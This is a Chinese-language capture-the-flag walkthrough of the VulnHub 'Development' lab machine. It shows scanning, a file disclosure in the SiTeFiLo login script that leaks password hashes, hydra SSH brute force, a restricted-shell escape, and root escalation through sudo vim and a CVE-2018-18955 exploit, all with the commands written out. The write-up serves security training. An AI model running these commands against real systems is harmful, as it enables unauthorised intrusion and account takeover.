vulnhub综合靶场:DIGITALWORLD.LOCAL发展
一、知识点和漏洞
1. 知识点
1) Namp收集信息
2) 简单文本文件登录脚本 (SiTeFiLo) 1.0.6 - 文件泄露/远程文件包含
3) 空间越权(CVE-2018-18955)
4) hydra爆破
5) Vim提权
2.漏洞
1) CVE-2008-5763/2008-5762
2) CVE-2018-18955
二、基本环境和工具
环境:
1)目标靶机:ubuntu(官网下载靶机环境)
2)百香果沙盘(Docker版)20210413
工具:
1)Kali:kali_201802版本
2)nmap:kali内置
3)Hydra:v8.6
4)空间越权脚本:exploit.ldpreload.sh
5)漏洞检测脚本:les.sh
1.靶机环境:
1)靶场下载。
DIGITALWORLD.LOCAL:发展靶场下载地址:
https://www.vulnhub.com/entry/digitalworldlocal-development,280/
2)靶场安装。下载完后文件为devt-improved.7z。
解压文件到相应目录。
双击第二个文件后进行导入虚拟机。
3)虚拟机设置。根据个人的电脑配置适当设置内存和处理器以及网络。
4)环境配置。
开启虚拟机,选择linux恢复模式。
系统启动完毕,我们选择root一行回车,然后再次回车进入命令行模式。
查看是否自动获取到ip。
dhcp下发获取ip。
通过访问Fw2管理地址:http://1.1.1.12,账号密码:root/goktech也可以查看:
通过上图我们知道了靶机的IP地址为10.10.19.50,接着我们就可以来配置端口映射,点击网络-防火墙-端口转发-新增:
配置kali的ip:
ifconfig eth0 66.28.6.10 netmask 255.255.255.0
route add default gw 66.28.6.1
5)安装完成,使用kali进行网址扫描,nmap -sP 66.28.5.0/24,再次确定映射后的靶机IP为66.28.5.2这边需要根据个人的虚拟机网络适配器的网址扫描。
至此,完成靶机的安装。成功访问靶机页面。http://66.28.5.2:8080/
2. 操作机环境:
1)操作系统环境:kali linux 2018.2
2)工具环境:能够运行sh文件
● EXP/利用工具
1.工具名称:nmap
工具安装:kali内置
使用说明:运行对应命令
nmap -sS -sV -sC -O -T5 -Pn -p- ip
注:服务版本识别(-sV);
操作系统识别(-O);
脚本扫描(-sC);
Traceroute(–traceroute)
-sS/sT/sA/sW/sM:指定使用 TCP SYN/Connect()/ACK/Window/Maimon scans的方式来对目标主机扫描。
2.工具名称:hydra
工具安装:kali内置
使用说明:运行对应命令
hydra -L user.txt -P pass.txt ssh://ip
注:
-L file 大写,指定用户的用户名字典
-p pass 小写,用于指定密码破解,很少使用,一般采用密码字典。
3.工具名称:空间越权脚本
工具安装:git clone https://github.com/bcoles/kernel-exploits.git
使用说明:运行对应命令
cd kernel-exploits/CVE-2018-18955
./exploit.ldpreload.sh
下载地址:(官网/git/百度云/其他)
https://github.com/bcoles/kernel-exploits.git
4.工具名称:漏洞检测脚本
工具安装:
wget:
https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh
使用说明:运行对应命令
chmod +x les.sh
./les.sh
三、靶场演练过程
1.整体思路
1)信息收集
2)漏洞发现
3)利用漏洞(Simple Text-File Login script (SiTeFiLo) 1.0.6 - File Disclosure / Remote File Inclusion)
4)Vim提权
5)利用CVE-2018-18955提权
2.漏洞利用步骤:
步骤1:信息收集(IP和开放端口信息)
1.打开虚拟机,显示登录界面,未提示密码相关信息。
2.查询存活主机:nmap -sP 66.28.5.0/24,确定攻击ip为66.28.5.2
3.nmap扫描端口22 113 139 445 8080 (nmap -sV 66.28.5.2 -p 22,8080,113,139,445)
得到靶机的22,8080,113,139,445都是开放状态。
步骤2:漏洞发现
1.访问66.28.5.2:8080
根据:There are many projects in this box. View some of these projects at html_pages.
告诉我们去访问 html_pages目录。
2.接着访问http://66.28.5.2:8080/html_pages
发现敏感类信息development.html(猜测是否与靶机development有关)
访问http://66.28.5.2:8080/development.html。
访问http://66.28.5.2:8080/development.html并未发现什么信息,尝试查看网页源码看看能获取到什么
查看网页源码中得到一条提示:
<!-- You tried harder! Visit ./developmentsecretpage. -->
那我们就继续访问上一级的developmentsecretpage目录。
3.根据上述提示进入http://66.28.5.2:8080/developmentsecretpage/
尝试点击可访问的页面。
出现Click here to log out.继续访问。
点击后出现一个登陆界面。
尝试弱密码或万能密码登录。
登陆之后出现以下报错信息:
Deprecated: Function ereg_replace() is deprecated in /var/www/html/developmentsecretpage/slogin_lib.inc.php on line 335
Deprecated: Function ereg_replace() is deprecated in /var/www/html/developmentsecretpage/slogin_lib.inc.php on line 336
使用谷歌搜索一下slogin_lib.inc.php:
点击第一个链接进入漏洞数据库即存在漏洞:
Simple Text-File Login script (SiTeFiLo) 1.0.6 - File Disclosure / Remote File Inclusion
步骤3:利用漏洞
1.进入漏洞数据库:https://www.exploit-db.com/exploits/7444
查看攻击方式并选择一个简单地攻击方式:[!] EXPLOIT: /[path]/slog_users.txt
2.访问
http://66.28.5.2:8080/developmentsecretpage/slog_users.txt
得到用户名和MD5加密后密码。
复制出来进行解密。
解密前:
admin, 3cb1d13bb83ffff2defe8d1443d3a0eb
intern, 4a8a2b374f463b7aedbb44a066363b81
patrick, 87e6d56ce79af90dbe07d387d3d0579e
qiu, ee64497098d0926d198f54f6d5431f98
md5解密后得到:
admin:未成功解密
patrick:P@ssw0rd25
qiu:qiu
intern:12345678900987654321
将用户名和密码分别保存为user.txt pass.txt
3.使用hydra进行ssh连接测试
hydra -L user.txt -P pass.txt ssh://66.28.5.2
得到login: intern password: 12345678900987654321
可以ssh到靶机。
步骤4:VIM提权
1.登录
使用login: intern password: 12345678900987654321登录靶机:66.28.5.2
2.输入id报错,直接断开连接(出现lshell 即limited shell)。
3.尝试使用返回交互式shell脱离lshell
echo os.system('/bin/bash')
恢复正常后进行查看版本信息:
sudo-l 列出目前用户可执行与无法执行的指令 发现用户intern不能免密查看。
查看/etc/passwd查看是否还有其他用户。
4.发现可切换用户patrick
切换用户patrick
login:patrick password:P@ssw0rd25
并查看用户patrick的可执行与无法执行的指令。
5.Vim提权
1)直接提权:sudo vim -c ':!/bin/sh'
步骤5:利用CVE-2018-18955提权
1.根据版本ubuntu18.04使用漏洞检测脚本les.sh检测是否有漏洞
les.sh 通过kali上传(scp root@66.28.6.10:/root/les.sh ./)
执行命令
chmod +x les.sh
./les.sh
发现存在漏洞CVE-2018-18955。
\
2.尝试使用CVE-2018-18955提权
下载好所需的文件(切回intern用户的/tmp 目录底下)
有网络直接git clone https://github.com/bcoles/kernel-exploits.git
无网络是通过kali传输。
scp -r root@66.28.6.10:/root/kernel-exploits/* /tmp
3.切换到相应路径利用脚本进行提权:
cd kernel-exploits/CVE-2018-18955
./exploit.ldpreload.sh
4.测试:提权成功。
四、过程问题记录
刚开始使用nmap扫描时未发现靶机ip,后面进入linux恢复模式进行dhcp释放,重新获取到ip。我做的时候当输入密码错误大于3次时,ip会没办法ping通需要重启后才可继续!
五、收获和总结
第一次做这个综合靶场还是有一定的难度的,需要一定的耐心去磨合。也要自身的基础去不断测试,可能不留意的一个页面就是我们想要的信息。多去锻炼一下自己对敏感信息的判断才能更快的获取到提示。一些命令还是需要多敲多背!
六、参考资料
简单文本文件登录脚本 (SiTeFiLo) 1.0.6 - 文件泄露/远程文件包含:
1.https://www.exploit-db.com/exploits/7444
2.CVE-2018-18955漏洞学习:
https://www.cnblogs.com/likaiming/p/10816529.html
https://blog.csdn.net/bme314/article/details/105631793
3.百香果沙盘使用参考:
“百香果”内网安全沙盘2.0bate版使用指南-基础篇:
https://mp.weixin.qq.com/s/o6k3yNXlnQ3FwCciBUmrLw
“百香果”内网安全沙盘2.0bate版使用指南-进阶篇:
https://mp.weixin.qq.com/s/nfa2DHkDPE43cIvvRmk1TA
“百香果”内网安全沙盘2.0bate版使用指南-高级篇:
https://mp.weixin.qq.com/s/MfWuBm_H7JxAvBKfnTpLZQ
